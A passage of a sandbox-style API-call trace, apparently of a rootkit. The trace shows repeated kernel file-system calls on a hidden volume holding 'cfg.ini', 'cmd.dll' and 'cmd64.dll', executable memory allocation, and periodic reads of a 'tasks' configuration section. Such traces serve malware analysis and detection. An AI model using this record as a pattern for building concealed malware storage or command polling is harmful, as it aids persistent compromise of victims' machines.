FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.539] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294d4b0 [0130.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.539] KeLeaveCriticalRegion () [0130.539] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.539] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.539] KeEnterCriticalRegion () [0130.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.540] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.540] KeLeaveCriticalRegion () [0130.540] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.540] KeEnterCriticalRegion () [0130.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.540] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.540] IdePortDispatch () returned 0x103 [0130.540] KeWaitForMutexObject () returned 0x0 [0130.540] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.540] KeLeaveCriticalRegion () [0130.540] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.540] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.540] KeEnterCriticalRegion () [0130.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.540] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d70000 [0130.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.540] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.540] IdePortDispatch () returned 0x103 [0130.540] KeWaitForMutexObject () returned 0x0 [0130.540] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.541] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.541] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.541] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.541] IdePortDispatch () returned 0x103 [0130.541] KeWaitForMutexObject () returned 0x0 [0130.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.546] KeLeaveCriticalRegion () [0130.546] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.547] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.547] KeEnterCriticalRegion () [0130.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.547] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.547] KeLeaveCriticalRegion () [0130.547] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.547] KeEnterCriticalRegion () [0130.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.547] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.547] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.547] KeLeaveCriticalRegion () [0130.547] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.547] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.547] KeEnterCriticalRegion () [0130.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.547] ExFreePoolWithTag (P=0xfffffa800294d4b0, Tag=0x0) [0130.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.547] KeLeaveCriticalRegion () [0130.547] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.547] ReleaseMutex (hMutex=0xf0) returned 1 [0130.547] Sleep (dwMilliseconds=0x927c0) [0130.562] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.562] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.562] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.562] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.562] KeEnterCriticalRegion () [0130.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.562] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.562] IdePortDispatch () returned 0x103 [0130.562] KeWaitForMutexObject () returned 0x0 [0130.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.562] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.563] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.563] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.563] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.563] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c660 [0130.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.563] KeLeaveCriticalRegion () [0130.563] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.563] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.563] KeEnterCriticalRegion () [0130.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.563] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.563] KeLeaveCriticalRegion () [0130.563] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.563] KeEnterCriticalRegion () [0130.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.563] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.563] IdePortDispatch () returned 0x103 [0130.563] KeWaitForMutexObject () returned 0x0 [0130.563] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.563] KeLeaveCriticalRegion () [0130.563] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.563] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.563] KeEnterCriticalRegion () [0130.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.563] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df3000 [0130.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.563] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.563] IdePortDispatch () returned 0x103 [0130.564] KeWaitForMutexObject () returned 0x0 [0130.564] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.564] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.564] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.564] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.564] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.564] IdePortDispatch () returned 0x103 [0130.564] KeWaitForMutexObject () returned 0x0 [0130.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.564] KeLeaveCriticalRegion () [0130.564] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.565] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.565] KeEnterCriticalRegion () [0130.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.565] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.565] KeLeaveCriticalRegion () [0130.565] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.565] KeEnterCriticalRegion () [0130.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.565] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.565] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.565] KeLeaveCriticalRegion () [0130.565] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.565] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.565] KeEnterCriticalRegion () [0130.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.565] ExFreePoolWithTag (P=0xfffffa800294c660, Tag=0x0) [0130.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.565] KeLeaveCriticalRegion () [0130.565] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.565] ReleaseMutex (hMutex=0xf0) returned 1 [0130.565] Sleep (dwMilliseconds=0x927c0) [0130.580] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.580] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.580] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.580] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.580] KeEnterCriticalRegion () [0130.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.580] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.580] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.580] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.580] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.580] IdePortDispatch () returned 0x103 [0130.580] KeWaitForMutexObject () returned 0x0 [0130.581] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.581] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.581] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.581] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.581] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.581] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294d4b0 [0130.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.581] KeLeaveCriticalRegion () [0130.581] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.581] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.581] KeEnterCriticalRegion () [0130.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.581] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.581] KeLeaveCriticalRegion () [0130.581] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.581] KeEnterCriticalRegion () [0130.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.581] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.581] IdePortDispatch () returned 0x103 [0130.581] KeWaitForMutexObject () returned 0x0 [0130.581] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.581] KeLeaveCriticalRegion () [0130.581] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.581] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.581] KeEnterCriticalRegion () [0130.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.581] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df8000 [0130.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.582] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.582] IdePortDispatch () returned 0x103 [0130.582] KeWaitForMutexObject () returned 0x0 [0130.582] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.582] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.582] IdePortDispatch () returned 0x103 [0130.582] KeWaitForMutexObject () returned 0x0 [0130.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.582] KeLeaveCriticalRegion () [0130.582] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.583] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.583] KeEnterCriticalRegion () [0130.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.583] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.583] KeLeaveCriticalRegion () [0130.583] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.583] KeEnterCriticalRegion () [0130.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.583] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.583] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d1c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.583] KeLeaveCriticalRegion () [0130.583] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.583] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.583] KeEnterCriticalRegion () [0130.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.583] ExFreePoolWithTag (P=0xfffffa800294d4b0, Tag=0x0) [0130.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.583] KeLeaveCriticalRegion () [0130.583] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.583] ReleaseMutex (hMutex=0xf0) returned 1 [0130.583] Sleep (dwMilliseconds=0x927c0) [0130.600] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.600] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.600] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.600] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.600] KeEnterCriticalRegion () [0130.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.600] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.600] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.600] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.600] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.600] IdePortDispatch () returned 0x103 [0130.600] KeWaitForMutexObject () returned 0x0 [0130.600] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.600] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.601] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.601] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.601] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.601] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c910 [0130.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.601] KeLeaveCriticalRegion () [0130.601] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.601] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.601] KeEnterCriticalRegion () [0130.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.601] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.601] KeLeaveCriticalRegion () [0130.601] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.601] KeEnterCriticalRegion () [0130.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.601] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.601] IdePortDispatch () returned 0x103 [0130.601] KeWaitForMutexObject () returned 0x0 [0130.601] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.601] KeLeaveCriticalRegion () [0130.601] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.601] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.601] 